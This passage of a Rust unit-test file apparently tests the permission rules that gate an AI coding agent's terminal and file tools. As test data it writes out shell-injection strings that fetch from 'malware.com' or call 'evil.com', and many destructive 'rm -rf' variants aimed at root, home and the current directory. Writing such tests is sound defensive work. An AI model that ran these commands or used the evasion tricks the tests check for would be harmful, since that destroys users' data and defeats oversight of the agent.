1037 EditFileTool::NAME,
1038 &["x".to_string()],
1039 &p,
1040 ShellKind::Posix
1041 ),
1042 ToolPermissionDecision::Allow
1043 );
1044 }
1045
1046 #[test]
1047 fn partial_tool_name_no_match() {
1048 let mut tools = collections::HashMap::default();
1049 tools.insert(
1050 Arc::from("term"),
1051 ToolRules {
1052 default: Some(ToolPermissionMode::Deny),
1053 always_allow: vec![],
1054 always_deny: vec![],
1055 always_confirm: vec![],
1056 invalid_patterns: vec![],
1057 },
1058 );
1059 let p = ToolPermissions {
1060 default: ToolPermissionMode::Confirm,
1061 tools,
1062 };
1063 // "terminal" should not match "term" rules, so falls back to Confirm (no rules)
1064 assert_eq!(
1065 ToolPermissionDecision::from_input(
1066 TerminalTool::NAME,
1067 &["x".to_string()],
1068 &p,
1069 ShellKind::Posix
1070 ),
1071 ToolPermissionDecision::Confirm
1072 );
1073 }
1074
1075 // invalid patterns block the tool
1076 #[test]
1077 fn invalid_pattern_blocks() {
1078 let mut tools = collections::HashMap::default();
1079 tools.insert(
1080 Arc::from(TerminalTool::NAME),
1081 ToolRules {
1082 default: Some(ToolPermissionMode::Allow),
1083 always_allow: vec![CompiledRegex::new("echo", false).unwrap()],
1084 always_deny: vec![],
1085 always_confirm: vec![],
1086 invalid_patterns: vec![InvalidRegexPattern {
1087 pattern: "[bad".into(),
1088 rule_type: "always_deny".into(),
1089 error: "err".into(),
1090 }],
1091 },
1092 );
1093 let p = ToolPermissions {
1094 default: ToolPermissionMode::Confirm,
1095 tools,
1096 };
1097 // Invalid patterns block the tool regardless of other settings
1098 assert!(matches!(
1099 ToolPermissionDecision::from_input(
1100 TerminalTool::NAME,
1101 &["echo hi".to_string()],
1102 &p,
1103 ShellKind::Posix
1104 ),
1105 ToolPermissionDecision::Deny(_)
1106 ));
1107 }
1108
1109 #[test]
1110 fn invalid_substitution_bearing_command_denies_by_default() {
1111 let decision = no_rules("echo $HOME", ToolPermissionMode::Deny);
1112 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
1113 }
1114
1115 #[test]
1116 fn invalid_substitution_bearing_command_denies_in_confirm_mode() {
1117 let decision = no_rules("echo $(whoami)", ToolPermissionMode::Confirm);
1118 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
1119 }
1120
1121 #[test]
1122 fn unconditional_allow_all_bypasses_invalid_command_rejection_without_tool_rules() {
1123 let decision = no_rules("echo $HOME", ToolPermissionMode::Allow);
1124 assert_eq!(decision, ToolPermissionDecision::Allow);
1125 }
1126
1127 #[test]
1128 fn unconditional_allow_all_bypasses_invalid_command_rejection_with_terminal_default_allow() {
1129 let mut tools = collections::HashMap::default();
1130 tools.insert(
1131 Arc::from(TerminalTool::NAME),
1132 ToolRules {
1133 default: Some(ToolPermissionMode::Allow),
1134 always_allow: vec![],
1135 always_deny: vec![],
1136 always_confirm: vec![],
1137 invalid_patterns: vec![],
1138 },
1139 );
1140 let permissions = ToolPermissions {
1141 default: ToolPermissionMode::Confirm,
1142 tools,
1143 };
1144
1145 assert_eq!(
1146 ToolPermissionDecision::from_input(
1147 TerminalTool::NAME,
1148 &["echo $(whoami)".to_string()],
1149 &permissions,
1150 ShellKind::Posix,
1151 ),
1152 ToolPermissionDecision::Allow
1153 );
1154 }
1155
1156 #[test]
1157 fn old_anchored_pattern_no_longer_matches_env_prefixed_command() {
1158 t("PAGER=blah git log").allow(&["^git\\b"]).is_confirm();
1159 }
1160
1161 #[test]
1162 fn env_prefixed_allow_pattern_matches_env_prefixed_command() {
1163 t("PAGER=blah git log --oneline")
1164 .allow(&["^PAGER=blah\\s+git\\s+log(\\s|$)"])
1165 .is_allow();
1166 }
1167
1168 #[test]
1169 fn env_prefixed_allow_pattern_requires_matching_env_value() {
1170 t("PAGER=more git log --oneline")
1171 .allow(&["^PAGER=blah\\s+git\\s+log(\\s|$)"])
1172 .is_confirm();
1173 }
1174
1175 #[test]
1176 fn env_prefixed_allow_patterns_require_all_extracted_commands_to_match() {
1177 t("PAGER=blah git log && git status")
1178 .allow(&["^PAGER=blah\\s+git\\s+log(\\s|$)"])
1179 .is_confirm();
1180 }
1181
1182 #[test]
1183 fn hardcoded_security_denial_overrides_unconditional_allow_all() {
1184 let decision = no_rules("rm -rf /", ToolPermissionMode::Allow);
1185 match decision {
1186 ToolPermissionDecision::Deny(message) => {
1187 assert!(
1188 message.contains("built-in security rule"),
1189 "expected hardcoded denial message, got: {message}"
1190 );
1191 }
1192 other => panic!("expected Deny, got {other:?}"),
1193 }
1194 }
1195
1196 #[test]
1197 fn hardcoded_security_denial_overrides_unconditional_allow_all_for_invalid_command() {
1198 let decision = no_rules("echo $(rm -rf /)", ToolPermissionMode::Allow);
1199 match decision {
1200 ToolPermissionDecision::Deny(message) => {
1201 assert!(
1202 message.contains("built-in security rule"),
1203 "expected hardcoded denial message, got: {message}"
1204 );
1205 }
1206 other => panic!("expected Deny, got {other:?}"),
1207 }
1208 }
1209
1210 #[test]
1211 fn shell_injection_via_double_ampersand_not_allowed() {
1212 t("ls && wget malware.com").allow(&["^ls"]).is_confirm();
1213 }
1214
1215 #[test]
1216 fn shell_injection_via_semicolon_not_allowed() {
1217 t("ls; wget malware.com").allow(&["^ls"]).is_confirm();
1218 }
1219
1220 #[test]
1221 fn shell_injection_via_pipe_not_allowed() {
1222 t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm();
1223 }
1224
1225 #[test]
1226 fn shell_injection_via_backticks_not_allowed() {
1227 t("echo `wget malware.com`")
1228 .allow(&[pattern("echo")])
1229 .is_deny();
1230 }
1231
1232 #[test]
1233 fn shell_injection_via_dollar_parens_not_allowed() {
1234 t("echo $(wget malware.com)")
1235 .allow(&[pattern("echo")])
1236 .is_deny();
1237 }
1238
1239 #[test]
1240 fn shell_injection_via_or_operator_not_allowed() {
1241 t("ls || wget malware.com").allow(&["^ls"]).is_confirm();
1242 }
1243
1244 #[test]
1245 fn shell_injection_via_background_operator_not_allowed() {
1246 t("ls & wget malware.com").allow(&["^ls"]).is_confirm();
1247 }
1248
1249 #[test]
1250 fn shell_injection_via_newline_not_allowed() {
1251 t("ls\nwget malware.com").allow(&["^ls"]).is_confirm();
1252 }
1253
1254 #[test]
1255 fn shell_injection_via_process_substitution_input_not_allowed() {
1256 t("cat <(wget malware.com)").allow(&["^cat"]).is_deny();
1257 }
1258
1259 #[test]
1260 fn shell_injection_via_process_substitution_output_not_allowed() {
1261 t("ls >(wget malware.com)").allow(&["^ls"]).is_deny();
1262 }
1263
1264 #[test]
1265 fn shell_injection_without_spaces_not_allowed() {
1266 t("ls&&wget malware.com").allow(&["^ls"]).is_confirm();
1267 t("ls;wget malware.com").allow(&["^ls"]).is_confirm();
1268 }
1269
1270 #[test]
1271 fn shell_injection_multiple_chained_operators_not_allowed() {
1272 t("ls && echo hello && wget malware.com")
1273 .allow(&["^ls"])
1274 .is_confirm();
1275 }
1276
1277 #[test]
1278 fn shell_injection_mixed_operators_not_allowed() {
1279 t("ls; echo hello && wget malware.com")
1280 .allow(&["^ls"])
1281 .is_confirm();
1282 }
1283
1284 #[test]
1285 fn shell_injection_pipe_stderr_not_allowed() {
1286 t("ls |& wget malware.com").allow(&["^ls"]).is_confirm();
1287 }
1288
1289 #[test]
1290 fn allow_requires_all_commands_to_match() {
1291 t("ls && echo hello").allow(&["^ls", "^echo"]).is_allow();
1292 }
1293
1294 #[test]
1295 fn dev_null_redirect_does_not_cause_false_negative() {
1296 // Redirects to /dev/null are known-safe and should be skipped during
1297 // command extraction, so they don't prevent auto-allow from matching.
1298 t(r#"git log --oneline -20 2>/dev/null || echo "not a git repo or no commits""#)
1299 .allow(&[r"^git\s+(status|diff|log|show)\b", "^echo"])
1300 .is_allow();
1301 }
1302
1303 #[test]
1304 fn redirect_to_real_file_still_causes_confirm() {
1305 // Redirects to real files (not /dev/null) should still be included in
1306 // the extracted commands, so they prevent auto-allow when unmatched.
1307 t("echo hello > /etc/passwd").allow(&["^echo"]).is_confirm();
1308 }
1309
1310 #[test]
1311 fn pipe_does_not_cause_false_negative_when_all_commands_match() {
1312 // A piped command like `echo "y\ny" | git add -p file` produces two commands:
1313 // "echo y\ny" and "git add -p file". Both should match their respective allow
1314 // patterns, so the overall command should be auto-allowed.
1315 t(r#"echo "y\ny" | git add -p crates/acp_thread/src/acp_thread.rs"#)
1316 .allow(&[r"^git\s+(--no-pager\s+)?(fetch|status|diff|log|show|add|commit|push|checkout\s+-b)\b", "^echo"])
1317 .is_allow();
1318 }
1319
1320 #[test]
1321 fn deny_triggers_on_any_matching_command() {
1322 t("ls && rm file").allow(&["^ls"]).deny(&["^rm"]).is_deny();
1323 }
1324
1325 #[test]
1326 fn deny_catches_injected_command() {
1327 t("ls && rm -rf ./temp")
1328 .allow(&["^ls"])
1329 .deny(&["^rm"])
1330 .is_deny();
1331 }
1332
1333 #[test]
1334 fn confirm_triggers_on_any_matching_command() {
1335 t("ls && sudo reboot")
1336 .allow(&["^ls"])
1337 .confirm(&["^sudo"])
1338 .is_confirm();
1339 }
1340
1341 #[test]
1342 fn always_allow_button_works_end_to_end() {
1343 // This test verifies that the "Always Allow" button behavior works correctly:
1344 // 1. User runs a command like "cargo build --release"
1345 // 2. They click "Always Allow for `cargo build` commands"
1346 // 3. The pattern extracted should match future "cargo build" commands
1347 // but NOT other cargo subcommands like "cargo test"
1348 let original_command = "cargo build --release";
1349 let extracted_pattern = pattern(original_command);
1350
1351 // The extracted pattern should allow the original command
1352 t(original_command).allow(&[extracted_pattern]).is_allow();
1353
1354 // It should allow other "cargo build" invocations with different flags
1355 t("cargo build").allow(&[extracted_pattern]).is_allow();
1356 t("cargo build --features foo")
1357 .allow(&[extracted_pattern])
1358 .is_allow();
1359
1360 // But NOT other cargo subcommands — the pattern is subcommand-specific
1361 t("cargo test").allow(&[extracted_pattern]).is_confirm();
1362 t("cargo fmt").allow(&[extracted_pattern]).is_confirm();
1363
1364 // Hyphenated extensions of the subcommand should not match either
1365 // (e.g. cargo plugins like "cargo build-foo")
1366 t("cargo build-foo")
1367 .allow(&[extracted_pattern])
1368 .is_confirm();
1369 t("cargo builder").allow(&[extracted_pattern]).is_confirm();
1370
1371 // But not commands with different base commands
1372 t("npm install").allow(&[extracted_pattern]).is_confirm();
1373
1374 // Chained commands: all must match the pattern
1375 t("cargo build && cargo build --release")
1376 .allow(&[extracted_pattern])
1377 .is_allow();
1378
1379 // But reject if any subcommand doesn't match
1380 t("cargo build && npm install")
1381 .allow(&[extracted_pattern])
1382 .is_confirm();
1383 }
1384
1385 #[test]
1386 fn always_allow_button_works_without_subcommand() {
1387 // When the second token is a flag (e.g. "ls -la"), the extracted pattern
1388 // should only include the command name, not the flag.
1389 let original_command = "ls -la";
1390 let extracted_pattern = pattern(original_command);
1391
1392 // The extracted pattern should allow the original command
1393 t(original_command).allow(&[extracted_pattern]).is_allow();
1394
1395 // It should allow other invocations of the same command
1396 t("ls").allow(&[extracted_pattern]).is_allow();
1397 t("ls -R /tmp").allow(&[extracted_pattern]).is_allow();
1398
1399 // But not different commands
1400 t("cat file.txt").allow(&[extracted_pattern]).is_confirm();
1401
1402 // Chained commands: all must match
1403 t("ls -la && ls /tmp")
1404 .allow(&[extracted_pattern])
1405 .is_allow();
1406 t("ls -la && cat file.txt")
1407 .allow(&[extracted_pattern])
1408 .is_confirm();
1409 }
1410
1411 #[test]
1412 fn nested_command_substitution_is_denied() {
1413 t("echo $(cat $(whoami).txt)")
1414 .allow(&["^echo", "^cat", "^whoami"])
1415 .is_deny();
1416 }
1417
1418 #[test]
1419 fn parse_failure_is_denied() {
1420 t("ls &&").allow(&["^ls$"]).is_deny();
1421 }
1422
1423 #[test]
1424 fn mcp_tool_default_modes() {
1425 t("")
1426 .tool("mcp:fs:read")
1427 .mode(ToolPermissionMode::Allow)
1428 .is_allow();
1429 t("")
1430 .tool("mcp:bad:del")
1431 .mode(ToolPermissionMode::Deny)
1432 .is_deny();
1433 t("")
1434 .tool("mcp:gh:issue")
1435 .mode(ToolPermissionMode::Confirm)
1436 .is_confirm();
1437 t("")
1438 .tool("mcp:gh:issue")
1439 .mode(ToolPermissionMode::Confirm)
1440 .global_default(ToolPermissionMode::Allow)
1441 .is_confirm();
1442 }
1443
1444 #[test]
1445 fn mcp_doesnt_collide_with_builtin() {
1446 let mut tools = collections::HashMap::default();
1447 tools.insert(
1448 Arc::from(TerminalTool::NAME),
1449 ToolRules {
1450 default: Some(ToolPermissionMode::Deny),
1451 always_allow: vec![],
1452 always_deny: vec![],
1453 always_confirm: vec![],
1454 invalid_patterns: vec![],
1455 },
1456 );
1457 tools.insert(
1458 Arc::from("mcp:srv:terminal"),
1459 ToolRules {
1460 default: Some(ToolPermissionMode::Allow),
1461 always_allow: vec![],
1462 always_deny: vec![],
1463 always_confirm: vec![],
1464 invalid_patterns: vec![],
1465 },
1466 );
1467 let p = ToolPermissions {
1468 default: ToolPermissionMode::Confirm,
1469 tools,
1470 };
1471 assert!(matches!(
1472 ToolPermissionDecision::from_input(
1473 TerminalTool::NAME,
1474 &["x".to_string()],
1475 &p,
1476 ShellKind::Posix
1477 ),
1478 ToolPermissionDecision::Deny(_)
1479 ));
1480 assert_eq!(
1481 ToolPermissionDecision::from_input(
1482 "mcp:srv:terminal",
1483 &["x".to_string()],
1484 &p,
1485 ShellKind::Posix
1486 ),
1487 ToolPermissionDecision::Allow
1488 );
1489 }
1490
1491 #[test]
1492 fn case_insensitive_by_default() {
1493 t("CARGO TEST").allow(&[pattern("cargo")]).is_allow();
1494 t("Cargo Test").allow(&[pattern("cargo")]).is_allow();
1495 }
1496
1497 #[test]
1498 fn case_sensitive_allow() {
1499 t("cargo test")
1500 .allow_case_sensitive(&[pattern("cargo")])
1501 .is_allow();
1502 t("CARGO TEST")
1503 .allow_case_sensitive(&[pattern("cargo")])
1504 .is_confirm();
1505 }
1506
1507 #[test]
1508 fn case_sensitive_deny() {
1509 t("rm -rf ./temp")
1510 .deny_case_sensitive(&[pattern("rm")])
1511 .is_deny();
1512 t("RM -RF ./temp")
1513 .deny_case_sensitive(&[pattern("rm")])
1514 .mode(ToolPermissionMode::Allow)
1515 .is_allow();
1516 }
1517
1518 #[test]
1519 fn nushell_allows_with_allow_pattern() {
1520 t("ls").allow(&["^ls"]).shell(ShellKind::Nushell).is_allow();
1521 }
1522
1523 #[test]
1524 fn nushell_allows_deny_patterns() {
1525 t("rm -rf ./temp")
1526 .deny(&["rm\\s+-rf"])
1527 .shell(ShellKind::Nushell)
1528 .is_deny();
1529 }
1530
1531 #[test]
1532 fn nushell_allows_confirm_patterns() {
1533 t("sudo reboot")
1534 .confirm(&["sudo"])
1535 .shell(ShellKind::Nushell)
1536 .is_confirm();
1537 }
1538
1539 #[test]
1540 fn nushell_no_allow_patterns_uses_default() {
1541 t("ls")
1542 .deny(&["rm"])
1543 .mode(ToolPermissionMode::Allow)
1544 .shell(ShellKind::Nushell)
1545 .is_allow();
1546 }
1547
1548 #[test]
1549 fn elvish_allows_with_allow_pattern() {
1550 t("ls").allow(&["^ls"]).shell(ShellKind::Elvish).is_allow();
1551 }
1552
1553 #[test]
1554 fn rc_allows_with_allow_pattern() {
1555 t("ls").allow(&["^ls"]).shell(ShellKind::Rc).is_allow();
1556 }
1557
1558 #[test]
1559 fn multiple_invalid_patterns_pluralizes_message() {
1560 let mut tools = collections::HashMap::default();
1561 tools.insert(
1562 Arc::from(TerminalTool::NAME),
1563 ToolRules {
1564 default: Some(ToolPermissionMode::Allow),
1565 always_allow: vec![],
1566 always_deny: vec![],
1567 always_confirm: vec![],
1568 invalid_patterns: vec![
1569 InvalidRegexPattern {
1570 pattern: "[bad1".into(),
1571 rule_type: "always_deny".into(),
1572 error: "err1".into(),
1573 },
1574 InvalidRegexPattern {
1575 pattern: "[bad2".into(),
1576 rule_type: "always_allow".into(),
1577 error: "err2".into(),
1578 },
1579 ],
1580 },
1581 );
1582 let p = ToolPermissions {
1583 default: ToolPermissionMode::Confirm,
1584 tools,
1585 };
1586
1587 let result = ToolPermissionDecision::from_input(
1588 TerminalTool::NAME,
1589 &["echo hi".to_string()],
1590 &p,
1591 ShellKind::Posix,
1592 );
1593 match result {
1594 ToolPermissionDecision::Deny(msg) => {
1595 assert!(
1596 msg.contains("2 regex patterns"),
1597 "Expected '2 regex patterns' in message, got: {}",
1598 msg
1599 );
1600 }
1601 other => panic!("Expected Deny, got {:?}", other),
1602 }
1603 }
1604
1605 // always_confirm patterns on non-terminal tools
1606 #[test]
1607 fn always_confirm_works_for_file_tools() {
1608 t("sensitive.env")
1609 .tool(EditFileTool::NAME)
1610 .confirm(&["sensitive"])
1611 .is_confirm();
1612
1613 t("normal.txt")
1614 .tool(EditFileTool::NAME)
1615 .confirm(&["sensitive"])
1616 .mode(ToolPermissionMode::Allow)
1617 .is_allow();
1618
1619 t("/etc/config")
1620 .tool(DeletePathTool::NAME)
1621 .confirm(&["/etc/"])
1622 .is_confirm();
1623
1624 t("/home/user/safe.txt")
1625 .tool(DeletePathTool::NAME)
1626 .confirm(&["/etc/"])
1627 .mode(ToolPermissionMode::Allow)
1628 .is_allow();
1629
1630 t("https://secret.internal.com/api")
1631 .tool(FetchTool::NAME)
1632 .confirm(&["secret\\.internal"])
1633 .is_confirm();
1634
1635 t("https://public.example.com/api")
1636 .tool(FetchTool::NAME)
1637 .confirm(&["secret\\.internal"])
1638 .mode(ToolPermissionMode::Allow)
1639 .is_allow();
1640
1641 // confirm on non-terminal tools still beats allow
1642 t("sensitive.env")
1643 .tool(EditFileTool::NAME)
1644 .allow(&["sensitive"])
1645 .confirm(&["\\.env$"])
1646 .is_confirm();
1647
1648 // confirm on non-terminal tools is still beaten by deny
1649 t("sensitive.env")
1650 .tool(EditFileTool::NAME)
1651 .confirm(&["sensitive"])
1652 .deny(&["\\.env$"])
1653 .is_deny();
1654
1655 // global default allow does not bypass confirm on non-terminal tools
1656 t("/etc/passwd")
1657 .tool(EditFileTool::NAME)
1658 .confirm(&["/etc/"])
1659 .global_default(ToolPermissionMode::Allow)
1660 .is_confirm();
1661 }
1662
1663 // Hardcoded security rules tests - these rules CANNOT be bypassed
1664
1665 #[test]
1666 fn hardcoded_blocks_rm_rf_root() {
1667 t("rm -rf /").is_deny();
1668 t("rm -fr /").is_deny();
1669 t("rm -RF /").is_deny();
1670 t("rm -FR /").is_deny();
1671 t("rm -r -f /").is_deny();
1672 t("rm -f -r /").is_deny();
1673 t("RM -RF /").is_deny();
1674 t("rm /").is_deny();
1675 // Long flags
1676 t("rm --recursive --force /").is_deny();
1677 t("rm --force --recursive /").is_deny();
1678 // Extra short flags
1679 t("rm -rfv /").is_deny();
1680 t("rm -v -rf /").is_deny();
1681 // Glob wildcards
1682 t("rm -rf /*").is_deny();
1683 t("rm -rf /* ").is_deny();
1684 // End-of-options marker
1685 t("rm -rf -- /").is_deny();
1686 t("rm -- /").is_deny();
1687 // Prefixed with sudo or other commands
1688 t("sudo rm -rf /").is_deny();
1689 t("sudo rm -rf /*").is_deny();
1690 t("sudo rm -rf --no-preserve-root /").is_deny();
1691 }
1692
1693 #[test]
1694 fn hardcoded_blocks_rm_rf_home() {
1695 t("rm -rf ~").is_deny();
1696 t("rm -fr ~").is_deny();
1697 t("rm -rf ~/").is_deny();
1698 t("rm -rf $HOME").is_deny();
1699 t("rm -fr $HOME").is_deny();
1700 t("rm -rf $HOME/").is_deny();
1701 t("rm -rf ${HOME}").is_deny();
1702 t("rm -rf ${HOME}/").is_deny();
1703 t("rm -RF $HOME").is_deny();
1704 t("rm -FR ${HOME}/").is_deny();
1705 t("rm -R -F ${HOME}/").is_deny();
1706 t("RM -RF ~").is_deny();
1707 // Long flags
1708 t("rm --recursive --force ~").is_deny();
1709 t("rm --recursive --force ~/").is_deny();
1710 t("rm --recursive --force $HOME").is_deny();
1711 t("rm --force --recursive ${HOME}/").is_deny();
1712 // Extra short flags
1713 t("rm -rfv ~").is_deny();
1714 t("rm -v -rf ~/").is_deny();
1715 // Glob wildcards
1716 t("rm -rf ~/*").is_deny();
1717 t("rm -rf $HOME/*").is_deny();
1718 t("rm -rf ${HOME}/*").is_deny();
1719 // End-of-options marker
1720 t("rm -rf -- ~").is_deny();
1721 t("rm -rf -- ~/").is_deny();
1722 t("rm -rf -- $HOME").is_deny();
1723 }
1724
1725 #[test]
1726 fn hardcoded_blocks_rm_rf_home_with_traversal() {
1727 // Path traversal after $HOME / ${HOME} should still be blocked
1728 t("rm -rf $HOME/./").is_deny();
1729 t("rm -rf $HOME/foo/..").is_deny();
1730 t("rm -rf ${HOME}/.").is_deny();
1731 t("rm -rf ${HOME}/./").is_deny();
1732 t("rm -rf $HOME/a/b/../..").is_deny();
1733 t("rm -rf ${HOME}/foo/bar/../..").is_deny();
1734 // Subdirectories should NOT be blocked
1735 t("rm -rf $HOME/subdir")
1736 .mode(ToolPermissionMode::Allow)
1737 .is_allow();
1738 t("rm -rf ${HOME}/Documents")
1739 .mode(ToolPermissionMode::Allow)
1740 .is_allow();
1741 }
1742
1743 #[test]
1744 fn hardcoded_blocks_rm_rf_dot() {
1745 t("rm -rf .").is_deny();
1746 t("rm -fr .").is_deny();
1747 t("rm -rf ./").is_deny();
1748 t("rm -rf ..").is_deny();
1749 t("rm -fr ..").is_deny();
1750 t("rm -rf ../").is_deny();
1751 t("rm -RF .").is_deny();
1752 t("rm -FR ../").is_deny();
1753 t("rm -R -F ../").is_deny();
1754 t("RM -RF .").is_deny();
1755 t("RM -RF ..").is_deny();
1756 // Long flags
1757 t("rm --recursive --force .").is_deny();
1758 t("rm --force --recursive ../").is_deny();
1759 // Extra short flags
1760 t("rm -rfv .").is_deny();
1761 t("rm -v -rf ../").is_deny();
1762 // Glob wildcards
1763 t("rm -rf ./*").is_deny();
1764 t("rm -rf ../*").is_deny();
1765 // End-of-options marker
1766 t("rm -rf -- .").is_deny();
1767 t("rm -rf -- ../").is_deny();
1768 }
1769
1770 #[test]
1771 fn hardcoded_cannot_be_bypassed_by_global() {
1772 // Even with global default Allow, hardcoded rules block
1773 t("rm -rf /")
1774 .global_default(ToolPermissionMode::Allow)
1775 .is_deny();
1776 t("rm -rf ~")
1777 .global_default(ToolPermissionMode::Allow)
1778 .is_deny();
1779 t("rm -rf $HOME")
1780 .global_default(ToolPermissionMode::Allow)
1781 .is_deny();
1782 t("rm -rf .")
1783 .global_default(ToolPermissionMode::Allow)
1784 .is_deny();
1785 t("rm -rf ..")
1786 .global_default(ToolPermissionMode::Allow)
1787 .is_deny();
1788 }
1789
1790 #[test]
1791 fn hardcoded_cannot_be_bypassed_by_allow_pattern() {
1792 // Even with an allow pattern that matches, hardcoded rules block
1793 t("rm -rf /").allow(&[".*"]).is_deny();
1794 t("rm -rf $HOME").allow(&[".*"]).is_deny();
1795 t("rm -rf .").allow(&[".*"]).is_deny();
1796 t("rm -rf ..").allow(&[".*"]).is_deny();
1797 }
1798
1799 #[test]
1800 fn hardcoded_allows_safe_rm() {
1801 // rm -rf on a specific path should NOT be blocked
1802 t("rm -rf ./build")
1803 .mode(ToolPermissionMode::Allow)
1804 .is_allow();
1805 t("rm -rf /tmp/test")
1806 .mode(ToolPermissionMode::Allow)
1807 .is_allow();
1808 t("rm -rf ~/Documents")
1809 .mode(ToolPermissionMode::Allow)
1810 .is_allow();
1811 t("rm -rf $HOME/Documents")
1812 .mode(ToolPermissionMode::Allow)
1813 .is_allow();
1814 t("rm -rf ../some_dir")
1815 .mode(ToolPermissionMode::Allow)
1816 .is_allow();
1817 t("rm -rf .hidden_dir")
1818 .mode(ToolPermissionMode::Allow)
1819 .is_allow();
1820 t("rm -rfv ./build")
1821 .mode(ToolPermissionMode::Allow)
1822 .is_allow();
1823 t("rm --recursive --force ./build")
1824 .mode(ToolPermissionMode::Allow)
1825 .is_allow();
1826 }
1827
1828 #[test]
1829 fn hardcoded_checks_chained_commands() {
1830 // Hardcoded rules should catch dangerous commands in chains
1831 t("ls && rm -rf /").is_deny();
1832 t("echo hello; rm -rf ~").is_deny();
1833 t("cargo build && rm -rf /")
1834 .global_default(ToolPermissionMode::Allow)
1835 .is_deny();
1836 t("echo hello; rm -rf $HOME").is_deny();
1837 t("echo hello; rm -rf .").is_deny();
1838 t("echo hello; rm -rf ..").is_deny();
1839 }
1840
1841 #[test]
1842 fn hardcoded_blocks_rm_with_extra_flags() {
1843 // Extra flags like -v, -i should not bypass the security rules
1844 t("rm -rfv /").is_deny();
1845 t("rm -v -rf /").is_deny();
1846 t("rm -rfi /").is_deny();
1847 t("rm -rfv ~").is_deny();
1848 t("rm -rfv ~/").is_deny();
1849 t("rm -rfv $HOME").is_deny();
1850 t("rm -rfv .").is_deny();
1851 t("rm -rfv ./").is_deny();
1852 t("rm -rfv ..").is_deny();
1853 t("rm -rfv ../").is_deny();
1854 }
1855
1856 #[test]
1857 fn hardcoded_blocks_rm_with_long_flags() {
1858 t("rm --recursive --force /").is_deny();
1859 t("rm --force --recursive /").is_deny();
1860 t("rm --recursive --force ~").is_deny();
1861 t("rm --recursive --force ~/").is_deny();
1862 t("rm --recursive --force $HOME").is_deny();
1863 t("rm --recursive --force .").is_deny();
1864 t("rm --recursive --force ..").is_deny();
1865 }
1866
1867 #[test]
1868 fn hardcoded_blocks_rm_with_glob_star() {
1869 // rm -rf /* is equally catastrophic to rm -rf /
1870 t("rm -rf /*").is_deny();
1871 t("rm -rf ~/*").is_deny();
1872 t("rm -rf $HOME/*").is_deny();
1873 t("rm -rf ${HOME}/*").is_deny();
1874 t("rm -rf ./*").is_deny();
1875 t("rm -rf ../*").is_deny();
1876 }
1877
1878 #[test]
1879 fn hardcoded_extra_flags_allow_safe_rm() {
1880 // Extra flags on specific paths should NOT be blocked
1881 t("rm -rfv ~/somedir")
1882 .mode(ToolPermissionMode::Allow)
1883 .is_allow();
1884 t("rm -rfv /tmp/test")
1885 .mode(ToolPermissionMode::Allow)
1886 .is_allow();
1887 t("rm --recursive --force ./build")
1888 .mode(ToolPermissionMode::Allow)
1889 .is_allow();
1890 }
1891
1892 #[test]
1893 fn hardcoded_does_not_block_words_containing_rm() {
1894 // Words like "storm", "inform" contain "rm" but should not be blocked
1895 t("storm -rf /").mode(ToolPermissionMode::Allow).is_allow();
1896 t("inform -rf /").mode(ToolPermissionMode::Allow).is_allow();
1897 t("gorm -rf ~").mode(ToolPermissionMode::Allow).is_allow();
1898 }
1899
1900 #[test]
1901 fn hardcoded_blocks_rm_with_trailing_flags() {
1902 // GNU rm accepts flags after operands by default
1903 t("rm / -rf").is_deny();
1904 t("rm / -fr").is_deny();
1905 t("rm / -RF").is_deny();
1906 t("rm / -r -f").is_deny();
1907 t("rm / --recursive --force").is_deny();
1908 t("rm / -rfv").is_deny();
1909 t("rm /* -rf").is_deny();
1910 // Mixed: some flags before path, some after
1911 t("rm -r / -f").is_deny();
1912 t("rm -f / -r").is_deny();
1913 // Home
1914 t("rm ~ -rf").is_deny();
1915 t("rm ~/ -rf").is_deny();
1916 t("rm ~ -r -f").is_deny();
1917 t("rm $HOME -rf").is_deny();
1918 t("rm ${HOME} -rf").is_deny();
1919 // Dot / dotdot
1920 t("rm . -rf").is_deny();
1921 t("rm ./ -rf").is_deny();
1922 t("rm . -r -f").is_deny();
1923 t("rm .. -rf").is_deny();
1924 t("rm ../ -rf").is_deny();
1925 t("rm .. -r -f").is_deny();
1926 // Trailing flags in chained commands
1927 t("ls && rm / -rf").is_deny();
1928 t("echo hello; rm ~ -rf").is_deny();
1929 // Safe paths with trailing flags should NOT be blocked
1930 t("rm ./build -rf")
1931 .mode(ToolPermissionMode::Allow)
1932 .is_allow();
1933 t("rm /tmp/test -rf")
1934 .mode(ToolPermissionMode::Allow)
1935 .is_allow();
1936 t("rm ~/Documents -rf")
1937 .mode(ToolPermissionMode::Allow)
1938 .is_allow();
1939 }
1940
1941 #[test]
1942 fn hardcoded_blocks_rm_with_flag_equals_value() {
1943 // --flag=value syntax should not bypass the rules
1944 t("rm --no-preserve-root=yes -rf /").is_deny();
1945 t("rm --no-preserve-root=yes --recursive --force /").is_deny();
1946 t("rm -rf --no-preserve-root=yes /").is_deny();
1947 t("rm --interactive=never -rf /").is_deny();
1948 t("rm --no-preserve-root=yes -rf ~").is_deny();
1949 t("rm --no-preserve-root=yes -rf .").is_deny();
1950 t("rm --no-preserve-root=yes -rf ..").is_deny();
1951 t("rm --no-preserve-root=yes -rf $HOME").is_deny();
1952 // --flag (without =value) should also not bypass the rules
1953 t("rm -rf --no-preserve-root /").is_deny();
1954 t("rm --no-preserve-root -rf /").is_deny();
1955 t("rm --no-preserve-root --recursive --force /").is_deny();
1956 t("rm -rf --no-preserve-root ~").is_deny();
1957 t("rm -rf --no-preserve-root .").is_deny();
1958 t("rm -rf --no-preserve-root ..").is_deny();
1959 t("rm -rf --no-preserve-root $HOME").is_deny();
1960 // Trailing --flag=value after path
1961 t("rm / --no-preserve-root=yes -rf").is_deny();
1962 t("rm ~ -rf --no-preserve-root=yes").is_deny();
1963 // Trailing --flag (without =value) after path
1964 t("rm / -rf --no-preserve-root").is_deny();
1965 t("rm ~ -rf --no-preserve-root").is_deny();
1966 // Safe paths with --flag=value should NOT be blocked
1967 t("rm --no-preserve-root=yes -rf ./build")
1968 .mode(ToolPermissionMode::Allow)
1969 .is_allow();
1970 t("rm --interactive=never -rf /tmp/test")
1971 .mode(ToolPermissionMode::Allow)
1972 .is_allow();
1973 // Safe paths with --flag (without =value) should NOT be blocked
1974 t("rm --no-preserve-root -rf ./build")
1975 .mode(ToolPermissionMode::Allow)
1976 .is_allow();
1977 }
1978
1979 #[test]
1980 fn hardcoded_blocks_rm_with_path_traversal() {
1981 // Traversal to root via ..
1982 t("rm -rf /etc/../").is_deny();
